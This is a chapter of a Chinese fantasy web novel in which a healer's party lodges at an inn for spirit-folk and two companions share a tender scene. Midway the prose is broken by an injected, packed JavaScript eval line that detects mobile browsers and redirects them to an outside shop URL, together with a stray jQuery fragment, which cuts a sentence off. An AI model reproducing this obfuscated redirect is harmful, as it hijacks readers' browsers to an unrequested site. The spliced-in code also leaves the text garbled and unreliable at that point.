“是乌谷主吗?”
乌木他们接了牛车,刚从灵人司出去,便听见一个小姑姑脆生生的问。
“阿萍?”乌木转过头,看见一个梳着双环髻的小姑娘,八九岁的样子,嫩生生的。
“谷主好。”阿萍给她行了一礼,“单姐姐让我来找您。”
“单娘让你来的?”乌木轻声细语地问她。
“嗯。”阿萍有些紧张,“单姐姐本来是想让我去城门去接诸位大人的。但是阿萍还没找到大人,大人就先被灵人司带走了。”
小姑娘说着说着就好像要哭出来,她捏着衣角下摆,不安地轻微转动着身体。
“没事没事。”乌木安慰地摸了摸她的头,“反正你带我们进来后也要来办灵人司的身份证明,对吧?单娘肯定吩咐过你了。”
“嗯。”小姑娘的声音细细的,惹人心疼,“单姐姐是让我带着诸位大人先来灵人司办身份玉牒。但,但,但……”
“没事的,我们这不办好了吗。”乌木哄她,“单姐姐有没有告诉能干的阿萍我们办完身份玉牒该往何处落脚呢?”
“有。”阿萍这时声音大了些,但听着还是软软的,她伸手往西北方向指了指,道,“单姐姐说,办完身份玉牒后就带着诸位大人到新丰楼落脚。”
“新丰楼吗?”乌木见阿萍不纠结了,便将她抱了起来,坐上牛车,由阿山赶着慢慢往前走。
“嗯。”阿萍坐在乌木怀里,闻言点了点头,毛绒绒的脑袋在乌木面前一晃一晃,惹得乌木又顺了两把。
“单姐姐说,新丰楼是官家开的,专门用来招待灵人,住宿和服务都比一般客栈要好上好些。”阿萍小团子在乌木怀里认认真真地给她解释。
“嗯,好上好些。”乌木听得眉眼里都带起笑意,“那你可要帮我谢谢你单姐姐。”
“嗯嗯,阿萍会的,单姐姐听到一定会很高兴。”小团子一边点头,一边伸手指路,“阿山哥哥,前面向右拐,往北走。新丰楼离灵人司很近,我们很快就到”
“好。谢谢阿萍。”阿山依言右拐,赶着牛走了约莫一刻钟便到了。
新丰楼和灵人司几乎是紧挨着,建在青城的西北角,是新修的五进五出的大院子,这显然是朝廷特批,不然青城可没有能住得起五进院子的大官。
正如柳三斗和单娘所言,新丰楼的环境和服务确实相当不错,虽然贵了些,但对大多数灵人们来说这点小钱不值一提。
甚至朝廷还贴心地为没有带多少钱财的灵人在后罩房里弄了个典当处,方便他们随时用身上的小玩意换取些钱财。
因而新丰楼很容易便吸引了灵人来此安置,无论是长住还是打尖,新丰楼都是灵人们的首选。
不过朝廷如此便宜行事也是有道理的,对朝廷来说,将灵人聚集在一处不仅便于管理,还方便发布一些只适合灵人处理的任务,再者若是有天灾人祸,灵人们也确实是守卫城池的一大助力。
乌木要了三间上房,她和阿山一间,长风和青岚一间,谢惊风独自一人一间。上房的价格不便宜,一间上房一日便要一两银子,他们这三间一日便是三两。
谢惊风听着价格疼得牙直抽抽,乌木却脸色变都不变,从袖子里掏出来两锭十两的银子,并一些碎银一起递了过去。
“劳烦荣掌柜了,我们先住上七日。”乌木道,“寻个安静些的地儿。”
“不麻烦不麻烦,大人客气了。”荣掌柜确认银子数量无误,向他们道:“我观诸位玉牒,有两位蛊师,不知几位可介意跟其余蛊师住一院里,那样倒是安静?”
蛊师即使在灵人里大概也总是被其他灵人忌惮得多些,因而灵人司往往会安排蛊师单独住一个院子。其他灵人也不大靠近,免得惹祸上身,毕竟作为蛊师代表的蛊楼行事着实怪异。
不过乌木他们倒没有这些忌惮,乌木想了想,便同意道:“成。”
“好嘞。”荣掌柜听见,便高声喝了声,“六仔,带客人去安平院,三间上房。”
“得嘞,您这边请。”名唤六仔的精瘦小伙高声应了,便引着乌木他们往后院走去。
“行,就这三间吧。”乌木环视了一下周围的环境,表示满意。
“好嘞。诸位大人有任何需要,便只管吩咐,耳房里随时有小厮当值。”六仔给他们指了指耳房的位置,见他们都点了头。便麻溜地从三间上房的门上摘了牌子,以示有人居住,向他们行了一礼后,便回去向荣掌柜报告了。
乌木挑了了右侧的房间,谢惊风挑了中间,青岚和长风住在左侧。
大概安置好后,乌木打了个哈欠,有些困乏,她看着怀里的小团子,道:“阿萍今天跟着姐姐住好不好。”
阿萍眨了眨圆溜溜的眼睛,笑起来像一颗桃子味的糯米团子,举手欢呼:“好哎,阿萍要跟乌姐姐和阿山哥哥一起睡!”
“不行,你只能跟乌姐姐睡。”乌木用手去戳他,“阿山哥哥睡房顶。”
“姐姐你好残忍。”阿萍露出一幅姐姐你怎么这样的表情,一边用手推开乌木乱戳的手。
“哼哼。”乌木捉住阿萍的手,继续蹂躏她软乎乎的包子脸,想了想,给谢惊风打了个招呼,“师兄你用千里传音蛊给单娘说声,免得单娘担心。”
阿萍眼里亮晶晶的看着谢惊风,道:“谢谢惊风哥哥。”
“小阿萍不跟我睡吗?”谢惊风俯下身看着阿萍,试图争取。
“不要!”阿萍抱紧乌木,“要乌姐姐。”
乌木没憋住,笑出了声。谢惊风愤愤地在阿萍的小脑袋瓜上敲了一下,把阿萍敲得往后仰了仰,在乌木死亡般的注视下,转身给单娘传音去了。
乌木一手抱着阿萍,一手拖着阿山,往屋里走去,牛车实在颠簸,她完全没有休息好。
阿山笑了笑,纵容地跟着她,关了房门,又给房间施了一层咒术,留下其他三人再各自斟酌。
谢惊风耸了耸肩,对他俩的作风习以为常,转身看向青岚道:“你跟我来,再练练。”
“好的,师父。”青岚捏了捏长风的手,示意他先去休息,便跟着谢惊风进了门。
长风看着青岚跟着谢惊风离开,摩挲了下掌心,像是要抓住某种微不可闻的东西,嘴角不自觉泛上些浅浅的笑意。
青岚练完的时候已经相当晚了,谢惊风见他神思不属的,嫌弃地摆了摆手让他回去。
长风正坐在窗边等他,见他进来,便朝他笑了笑
青岚见他果然又只披了一件单衣,叹了口气,从箱子里拿了件衣服给他披上,心疼得紧,道:“主子何必等我,该多注意些身体才是。”
“自然该等你回来。”长风捉住青岚的手,将他拉过来,青岚驯顺地单膝跪在他的身侧。
“我已经不是你主子了,不必再跪。”长风用力拉了拉他,没拉起来,才想起青岚的毒已经解了大半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545619|142551||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,有了力气,便有些喜悦道,“修为竟恢复得这样快么?”
“嗯,医谷的心法很是温和,经脉蕴养着,已经不难受了。”青岚虽没起来,却也顺着他的力道向前行了几步,更靠近他些。
“那便好。起来。”长风一边欣慰,一面又拉了拉他,发现还是拉不动,只好带了些命令的语气叫他起来。
说完却又软和了声音道:“小心腿疼。”
青岚条件反射地站起来,又马上被长风拉了个趔趄,带到怀里,牢牢给圈住了。
“我两好不容易出来,之前的事便让他过去。”长风抱住他,“南越不需要前朝太子,现在的女皇治理得很好……”
长风没有说完,但他的意思青岚却再清楚不过。青岚翻身坐在他旁边,牵住他的手,眉眼温和地看着长风,他不会安慰人,只能这般陪着长风。
长风或许不爱听,但他还是要说,语气坚定得不容质疑,又略带了些不知所措的委屈:“可青岚是长风的青岚……青岚不能没有长风”
他顿了顿,又说:“您许了我一辈子的。”
“当然,我可没打算让你走。”长风没有生气,他听着青岚略有些破碎的声音,心口倒是绞得紧。
于是他笑着牵起青岚的手,带他往内室走去,跟他好好解释:“我只是想告诉你,长风也是青岚的长风。”
青岚一时怔住了会,被青岚拖着,只本能地跟着走。青岚的话让他有些懵,这等大逆不道,上下颠倒的话,像是什么东西敲在心里,好像有点疼,又好像有点酸,或许还带了些什么不知名的甜味。
他咂摸着青岚的话,一时没品出味来,就好像那些过于鲜浓绚烂的滋味,在入口时的一瞬间总是要麻痹了人的感官,让人不知真味,失了心神。往往要过了很久很久,才教人在反复回味中,品出其中浅淡的,却又浓郁不绝的鲜甜。
长风微垂着眸子,看着青岚,伸出手去摸他眉骨上浅淡的疤痕,手指缓缓抚过,像是想替爱人拂去伤痕。
那触感如此鲜明,让青岚激灵地回过神来,长风的声音在他耳边环绕,就像雷音在耳边闷响。
他听得那声音清冽而沉肃,一点点教他说:“阿岚,你是我的,但也是你的。你要记住你是人,是蛊师,是医谷的弟子。你要跟着你师父和谷主去学,要学着保护自己,保护师门,学着庇护一方。”
长风抚过青岚的眉眼,缓慢的说。说完,他叹了口气,环住青岚,并不指望在今天真能听到青岚的回应。
他有很长的时间和充足的耐心,他曾经一遍一遍地学这些东西,这次也会一遍一遍地教给青岚。
但他听见怀里细微的响动,青岚低着头,发丝柔顺地散在身侧,轻轻地,轻轻地应了他一声。
只有一声,青岚说:“嗯。”
那么细小的声音,却让长风的眸子里瞬间盛满了笑意,像春日破冰而出的花蕊,乍暖一池春水。他忍不住地抬起手来,拾起青岚的发丝亲吻,又难以抑制地伸出手去,摸了摸他的头,然后克制地,环住了青岚,将人圈在自己的领地里。
“那么乖。”长风想
青岚懵了懵,他从未曾感受过长风这般激动,不过这却足以让他把长风的话死死印在脑子里,永不遗忘。有什么东西在心湖里扔了一枚石子,泛起一圈涟漪,又好像盛大的春雷,在揭开什么序幕。
但事实上,青岚只是舒展了眉眼,郑重地环抱了回去。